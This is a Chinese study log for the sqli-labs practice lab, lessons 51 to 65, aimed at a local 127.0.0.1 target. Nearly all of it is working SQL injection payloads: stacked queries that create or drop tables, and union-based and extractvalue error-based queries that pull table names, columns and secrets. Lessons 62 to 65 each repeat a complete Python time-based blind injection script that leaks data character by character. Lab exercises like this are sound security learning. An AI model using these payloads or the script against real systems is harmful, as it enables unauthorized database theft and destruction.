[sqli-labs] 学习3

less-51

  • 跟50关相比，改了闭合符
http://127.0.0.1/sqli-labs/Less-51?sort=1' ; create table test like users;  %23

less-52

  • 和50关一样，只是这里不回显了
http://127.0.0.1/sqli-labs/Less-52?sort=1 ; drop table test;  %23

less-53

  • 跟51关一样，不回显
http://127.0.0.1/sqli-labs/Less-53?sort=1' ; create table test like users; %23

less-54

  • 将之前所学的做汇总练习
http://127.0.0.1/sqli-labs/Less-54?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'CHALLENGES'  %23

http://127.0.0.1/sqli-labs/Less-54?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'ST8PASK3ZR'  %23

http://127.0.0.1/sqli-labs/Less-54?id=-1' union select 1,group_concat(secret_7IDH),3 from ST8PASK3ZR %23

less-55

http://127.0.0.1/sqli-labs/Less-55?id=-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'CHALLENGES' %23

http://127.0.0.1/sqli-labs/Less-55?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'R0Y2LHLPA2' %23

http://127.0.0.1/sqli-labs/Less-55?id=-1) union select 1,group_concat(secret_46NL),3 from R0Y2LHLPA2  %23

less-56

http://127.0.0.1/sqli-labs/Less-56?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'challenges'  %23

http://127.0.0.1/sqli-labs/Less-56?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name = '2SHDB477I0'  %23

http://127.0.0.1/sqli-labs/Less-56?id=-1') union select 1,group_concat(secret_YC5R),3 from 2SHDB477I0  %23

less-57

http://127.0.0.1/sqli-labs/Less-57?id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'challenges' %23

http://127.0.0.1/sqli-labs/Less-57?id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'E5DYF70WFZ' %23

http://127.0.0.1/sqli-labs/Less-57?id=-1" union select 1,group_concat(secret_3IN5),3 from E5DYF70WFZ %23

less-58

  • 没有返回数据库中的数据，无法使用union联合注入，使用报错注入
http://127.0.0.1/sqli-labs/Less-58?id=-1' union select 1,2,extractvalue(1,concat(0x7e,( select group_concat(table_name) from information_schema.tables where table_schema = 'challenges' ),0x7e)) %23

http://127.0.0.1/sqli-labs/Less-58?id=-1' union select 1,2,extractvalue(1,concat(0x7e,( select group_concat(column_name) from information_schema.columns where table_name = 'Z93Q7U21K3' ),0x7e)) %23

http://127.0.0.1/sqli-labs/Less-58?id=-1' union select 1,2,extractvalue(1,concat(0x7e,( select group_concat(secret_OEMW) from Z93Q7U21K3 ),0x7e)) %23

less-59

  • 跟58关差不多，没有闭合符
http://127.0.0.1/sqli-labs/Less-59?id=1 union select 1,2,extractvalue(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema = 'challenges' ) ,0x7e)) %23

http://127.0.0.1/sqli-labs/Less-59?id=1 union select 1,2,extractvalue(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name = '3MIJ14LKWG' ) ,0x7e)) %23

http://127.0.0.1/sqli-labs/Less-59?id=1 union select 1,2,extractvalue(1,concat(0x7e, (select group_concat(secret_NWS2) from 3MIJ14LKWG ) ,0x7e)) %23

less-60

  • 跟58关差不多，换了闭合符
http://127.0.0.1/sqli-labs/Less-60?id=-1") union select 1,2,extractvalue(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema = 'challenges'  ) ,0x7e)) %23   

http://127.0.0.1/sqli-labs/Less-60?id=-1") union select 1,2,extractvalue(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name = '085KOCKZF6'  ) ,0x7e)) %23   

http://127.0.0.1/sqli-labs/Less-60?id=-1") union select 1,2,extractvalue(1,concat(0x7e, (select group_concat(secret_H2EF) from 085KOCKZF6  ) ,0x7e)) %23

less-61

  • 跟58关差不多，换了闭合符
http://127.0.0.1/sqli-labs/Less-61?id=1')) union select 1,2,extractvalue(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema = 'challenges' ) ,0x7e)) %23

http://127.0.0.1/sqli-labs/Less-61?id=1')) union select 1,2,extractvalue(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name = 'JHXA7SZKSY' ) ,0x7e)) %23

http://127.0.0.1/sqli-labs/Less-61?id=1')) union select 1,2,extractvalue(1,concat(0x7e, (select group_concat(secret_E8XU) from JHXA7SZKSY ) ,0x7e)) %23

less-62

  • 只能用延时注入，写个脚本跑一下就可以了
import requests
import string
import time


list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'



def leak_tables(url,cmd,inj_point):

    tables = []

    l = 0
    while True:
        table_name = ""
        sql_1 = '(select table_name from information_schema.tables where table_schema = "challenges" limit {},1)'.format(l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,table_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)
                #print r.url
                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:
                    #print table_name
                    table_name += j
                    flags = 1
                    break

            if not table_name:
                return tables

            if not flags:
                tables.append(table_name)
                break

            i += 1

        l += 1


def leak_columns(url,cmd,inj_point,table_name):

    columns = []

    l = 0
    while True:
        column_name = ""
        sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,column_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:
                    #print column_name
                    column_name += j
                    flags = 1
                    break

            if not column_name:
                return columns

            if not flags:
                columns.append(column_name)
                break

            i += 1

        l += 1


def leak_content(url,cmd,inj_point,column_name,table_name):

    contents = []

    l = 0
    while True:
        content_name = ""
        sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,content_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:

                    content_name += j
                    flags = 1
                    break

            if not content_name:
                return contents

            if not flags:
                contents.append(content_name)
                break

            i += 1

        l += 1





url = 'http://127.0.0.1/sqli-labs/less-62'  #url
injection = "1') and if( (left({},{}) = '{}') , sleep(3) , 0) #"  #injection


table_name = leak_tables(url,injection,'id')
print "table name: ",table_name

column_name = leak_columns(url,injection,'id',table_name[0])
print 'column name: ',column_name

secret = leak_content(url,injection,'id',column_name[2],table_name[0])
print 'secret : ',secret

less-63

  • 跟62一样是延时注入，换了闭合符，跑脚本
import requests
import string
import time


list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'



def leak_tables(url,cmd,inj_point):

    tables = []

    l = 0
    while True:
        table_name = ""
        sql_1 = '(select table_name from information_schema.tables where table_schema = "challenges" limit {},1)'.format(l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,table_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)
                #print r.url
                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:
                    #print table_name
                    table_name += j
                    flags = 1
                    break

            if not table_name:
                return tables

            if not flags:
                tables.append(table_name)
                break

            i += 1

        l += 1


def leak_columns(url,cmd,inj_point,table_name):

    columns = []

    l = 0
    while True:
        column_name = ""
        sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,column_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:
                    #print column_name
                    column_name += j
                    flags = 1
                    break

            if not column_name:
                return columns

            if not flags:
                columns.append(column_name)
                break

            i += 1

        l += 1


def leak_content(url,cmd,inj_point,column_name,table_name):

    contents = []

    l = 0
    while True:
        content_name = ""
        sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,content_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:

                    content_name += j
                    flags = 1
                    break

            if not content_name:
                return contents

            if not flags:
                contents.append(content_name)
                break

            i += 1

        l += 1





url = 'http://127.0.0.1/sqli-labs/less-63'  #url
injection = "1' and if( (left({},{}) = '{}') , sleep(3) , 0) #"  #injection


table_name = leak_tables(url,injection,'id')
print "table name: ",table_name

column_name = leak_columns(url,injection,'id',table_name[0])
print 'column name: ',column_name

secret = leak_content(url,injection,'id',column_name[2],table_name[0])
print 'secret : ',secret

less-64

  • 跟62关一样，闭合符换成了)) 
import requests
import string
import time


list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'



def leak_tables(url,cmd,inj_point):

    tables = []

    l = 0
    while True:
        table_name = ""
        sql_1 = '(select table_name from information_schema.tables where table_schema = "challenges" limit {},1)'.format(l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,table_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)
                #print r.url
                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:
                    #print table_name
                    table_name += j
                    flags = 1
                    break

            if not table_name:
                return tables

            if not flags:
                tables.append(table_name)
                break

            i += 1

        l += 1


def leak_columns(url,cmd,inj_point,table_name):

    columns = []

    l = 0
    while True:
        column_name = ""
        sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,column_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:
                    #print column_name
                    column_name += j
                    flags = 1
                    break

            if not column_name:
                return columns

            if not flags:
                columns.append(column_name)
                break

            i += 1

        l += 1


def leak_content(url,cmd,inj_point,column_name,table_name):

    contents = []

    l = 0
    while True:
        content_name = ""
        sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,content_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:

                    content_name += j
                    flags = 1
                    break

            if not content_name:
                return contents

            if not flags:
                contents.append(content_name)
                break

            i += 1

        l += 1





url = 'http://127.0.0.1/sqli-labs/less-64'  #url
injection = "1)) and if( (left({},{}) = '{}') , sleep(3) , 0) #"  #injection


table_name = leak_tables(url,injection,'id')
print "table name: ",table_name

column_name = leak_columns(url,injection,'id',table_name[0])
print 'column name: ',column_name

secret = leak_content(url,injection,'id',column_name[2],table_name[0])
print 'secret : ',secret

less-65

  • 跟62关一样，闭合符变成了") 
import requests
import string
import time


list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'



def leak_tables(url,cmd,inj_point):

    tables = []

    l = 0
    while True:
        table_name = ""
        sql_1 = '(select table_name from information_schema.tables where table_schema = "challenges" limit {},1)'.format(l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,table_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)
                #print r.url
                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:
                    #print table_name
                    table_name += j
                    flags = 1
                    break

            if not table_name:
                return tables

            if not flags:
                tables.append(table_name)
                break

            i += 1

        l += 1


def leak_columns(url,cmd,inj_point,table_name):

    columns = []

    l = 0
    while True:
        column_name = ""
        sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,column_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:
                    #print column_name
                    column_name += j
                    flags = 1
                    break

            if not column_name:
                return columns

            if not flags:
                columns.append(column_name)
                break

            i += 1

        l += 1


def leak_content(url,cmd,inj_point,column_name,table_name):

    contents = []

    l = 0
    while True:
        content_name = ""
        sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,content_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:

                    content_name += j
                    flags = 1
                    break

            if not content_name:
                return contents

            if not flags:
                contents.append(content_name)
                break

            i += 1

        l += 1





url = 'http://127.0.0.1/sqli-labs/less-65'  #url
injection = "1\") and if( (left({},{}) = '{}') , sleep(3) , 0) #"  #injection


table_name = leak_tables(url,injection,'id')
print "table name: ",table_name

column_name = leak_columns(url,injection,'id',table_name[0])
print 'column name: ',column_name

secret = leak_content(url,injection,'id',column_name[2],table_name[0])
print 'secret : ',secret
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